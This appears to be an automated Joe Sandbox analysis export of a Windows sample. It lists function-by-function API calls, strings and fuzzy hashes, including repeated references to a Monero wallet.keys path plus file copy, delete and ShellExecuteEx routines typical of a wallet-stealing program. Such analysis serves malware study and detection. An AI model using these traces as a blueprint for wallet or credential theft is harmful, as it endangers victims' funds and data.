Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bc3e8c633dcd4049c92f54b0ee340adaf8a4f9b04ab1b55c18cc9f4c3db16d7f
Instruction ID: d18669b0358a01aa95805bcc7591db27950d44886bb54672d35c9b752393da86
Opcode Fuzzy Hash: bc3e8c633dcd4049c92f54b0ee340adaf8a4f9b04ab1b55c18cc9f4c3db16d7f
Instruction Fuzzy Hash: D41173B1B44205EBD710DF94DD4AFBBBBB8FB48710F108159FA46A7284D77969008BA0

Function 00EA9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00BBF590,?,?,?,00EA140C,?,00BBF590,00000000), ref: 00EA926C
lstrcpyn.KERNEL32(010DAB88,00BBF590,00BBF590,?,00EA140C,?,00BBF590), ref: 00EA9290
lstrlen.KERNEL32(?,?,00EA140C,?,00BBF590), ref: 00EA92A7
wsprintfA.USER32 ref: 00EA92C7

Strings

%s%s, xrefs: 00EA92B5

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 35473a13cf15fdcb1dc918171a55416839ce35744d699721893c7f303ecf3556
Instruction ID: ac56a2e49b367fbb491e50b9f4b4573b6554379064623017f46a88e28f4de275
Opcode Fuzzy Hash: 35473a13cf15fdcb1dc918171a55416839ce35744d699721893c7f303ecf3556
Instruction Fuzzy Hash: 0601CC75601208FFCB14DFECD984EAE7BB9FF48364F108548F9499B205C639AA41DB90

Function 00E912A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E912B4
RtlAllocateHeap.NTDLL(00000000), ref: 00E912BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E912D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E912F5
RegCloseKey.ADVAPI32(?), ref: 00E912FF

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3538dd3488e3061178a9ab90b07efc0fa7bc6b53629e41b34afa3e5d2a14e569
Instruction ID: ac579f6bee30b1507a4f4d912b44960f1bcbc3d9376d0ab25000fa3d97753dbf
Opcode Fuzzy Hash: 3538dd3488e3061178a9ab90b07efc0fa7bc6b53629e41b34afa3e5d2a14e569
Instruction Fuzzy Hash: AE011DB9A40208FBDB10DFE0DC4AFAEB7B8EB48701F008159FE4597284D6759A018F50

Function 00EAC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00EAC8EC
___crtLCMapStringA.LIBCMT ref: 00EAC90C
___crtLCMapStringA.LIBCMT ref: 00EAC931

Strings

, xrefs: 00EAC896

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 9afff9c1a3a62e2409a240382f6fad6facb2ab3d74db01f0fb25ac13050d3749
Instruction ID: b2d1fbaeb91c116784263130fbef4944772e0278066dc033847260b357564514
Opcode Fuzzy Hash: 9afff9c1a3a62e2409a240382f6fad6facb2ab3d74db01f0fb25ac13050d3749
Instruction Fuzzy Hash: 8341EB7150475C9EDB258B24CC85FFB7BECAF4A708F2454E8E586AA182D271BA44CF60

Function 00EA6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00EA6663

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00EA6726
ExitProcess.KERNEL32 ref: 00EA6755

Strings

<, xrefs: 00EA66D9

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 77b68f898a8fc6e656020c370dfdd85448ed4be38232ddbaaa6abdcd4860fa69
Instruction ID: 85a876ec5a72179cea7aa4bb27e39bf90a614b4521b734681db2b28296fb3553
Opcode Fuzzy Hash: 77b68f898a8fc6e656020c370dfdd85448ed4be38232ddbaaa6abdcd4860fa69
Instruction Fuzzy Hash: A1312BB1D01218AADB54EB90DD86BDE77B8AF48300F405199F20A7B191DF787B48CF65

Function 00EA87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EB0E28,00000000,?), ref: 00EA882F
RtlAllocateHeap.NTDLL(00000000), ref: 00EA8836
wsprintfA.USER32 ref: 00EA8850

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Strings

%dx%d, xrefs: 00EA8847

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: ecb69728db947366442acdf1a2a120defce4be8e7b2d79855440b5c2cf1d4dc9
Instruction ID: e45c20e06643075303e93f44cfd089d96df57d9b65b0dfc8979c2aadd17b7557
Opcode Fuzzy Hash: ecb69728db947366442acdf1a2a120defce4be8e7b2d79855440b5c2cf1d4dc9
Instruction Fuzzy Hash: A4212EB1B41204EFDB14DF94DD45FAEBBB8FB48711F104119FA05A7284C77AA9008BA0

Function 00EA8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00EA951E,00000000), ref: 00EA8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00EA8D62
wsprintfW.USER32 ref: 00EA8D78

Strings

%hs, xrefs: 00EA8D6F

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 69367c7e0736406dea179855e02288d85ecdde53dce4210159f84d4a7a44b35d
Instruction ID: 3538b1e1684e2571b658d9273760eaed03c54ec9ba7b38ff0087a0656c6efea8
Opcode Fuzzy Hash: 69367c7e0736406dea179855e02288d85ecdde53dce4210159f84d4a7a44b35d
Instruction Fuzzy Hash: FFE08CB0B41208FBC720DF94DC0AE6A77B8EB44702F000094FD4A97280DA76AE008BA1

Function 00E9A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA8B60: GetSystemTime.KERNEL32(00EB0E1A,00BBEF20,00EB05AE,?,?,00E913F9,?,0000001A,00EB0E1A,00000000,?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EA8B86

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E9A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00E9A3FF
lstrlen.KERNEL32(00000000), ref: 00E9A6BC

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

DeleteFileA.KERNEL32(00000000), ref: 00E9A743

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cbd55048c0a8b4cbfe2faa5ad76bcf04a9932f9981eafe4b774513966e95b7f6
Instruction ID: 5f20a23e0f1d161b375cccc4d5486456969f394b6531ed2eba3c1f2c9fd6f062
Opcode Fuzzy Hash: cbd55048c0a8b4cbfe2faa5ad76bcf04a9932f9981eafe4b774513966e95b7f6
Instruction Fuzzy Hash: A9E152729102089BCB58FBA4DC96EEE7378AF59300F559179F4137A091EF347A09CB62

Function 00E9D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA8B60: GetSystemTime.KERNEL32(00EB0E1A,00BBEF20,00EB05AE,?,?,00E913F9,?,0000001A,00EB0E1A,00000000,?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EA8B86

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E9D481
lstrlen.KERNEL32(00000000), ref: 00E9D698
lstrlen.KERNEL32(00000000), ref: 00E9D6AC
DeleteFileA.KERNEL32(00000000), ref: 00E9D72B

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e2e616bf07861d9f8e317420cb3db014fbb05f48dd9cd1fc5d9e9ca4a3c874e6
Instruction ID: b0bcac7055135ddf940f28f48976b0a1903aff3f8357059fe7ee46ee0239d15e
Opcode Fuzzy Hash: e2e616bf07861d9f8e317420cb3db014fbb05f48dd9cd1fc5d9e9ca4a3c874e6
Instruction Fuzzy Hash: B99124729102049BCB58FBA0DC96EEE73B8AF59300F555179F5077A091EF387A09CB62

Function 00E9D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA8B60: GetSystemTime.KERNEL32(00EB0E1A,00BBEF20,00EB05AE,?,?,00E913F9,?,0000001A,00EB0E1A,00000000,?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EA8B86

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E9D801
lstrlen.KERNEL32(00000000), ref: 00E9D99F
lstrlen.KERNEL32(00000000), ref: 00E9D9B3
DeleteFileA.KERNEL32(00000000), ref: 00E9DA32

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: dd8e5050beaf2609442c27ef8b6a550e7e696857118961bd31a0d2552c2a686c
Instruction ID: 686bd3a3671092e26ca8195145f35afca58412296f4cfaffe18e2a296db81ecb
Opcode Fuzzy Hash: dd8e5050beaf2609442c27ef8b6a550e7e696857118961bd31a0d2552c2a686c
Instruction Fuzzy Hash: AF8113729102049BCB48FBA4DC56EEE73B8AF59300F455139F407BA091EF387A09CB62

Function 00E9F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
Part of subcall function 00E999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
Part of subcall function 00E999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
Part of subcall function 00E999C0: ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
Part of subcall function 00E999C0: LocalFree.KERNEL32(00E9148F), ref: 00E99A90
Part of subcall function 00E999C0: CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

Part of subcall function 00EA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EA8E52

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

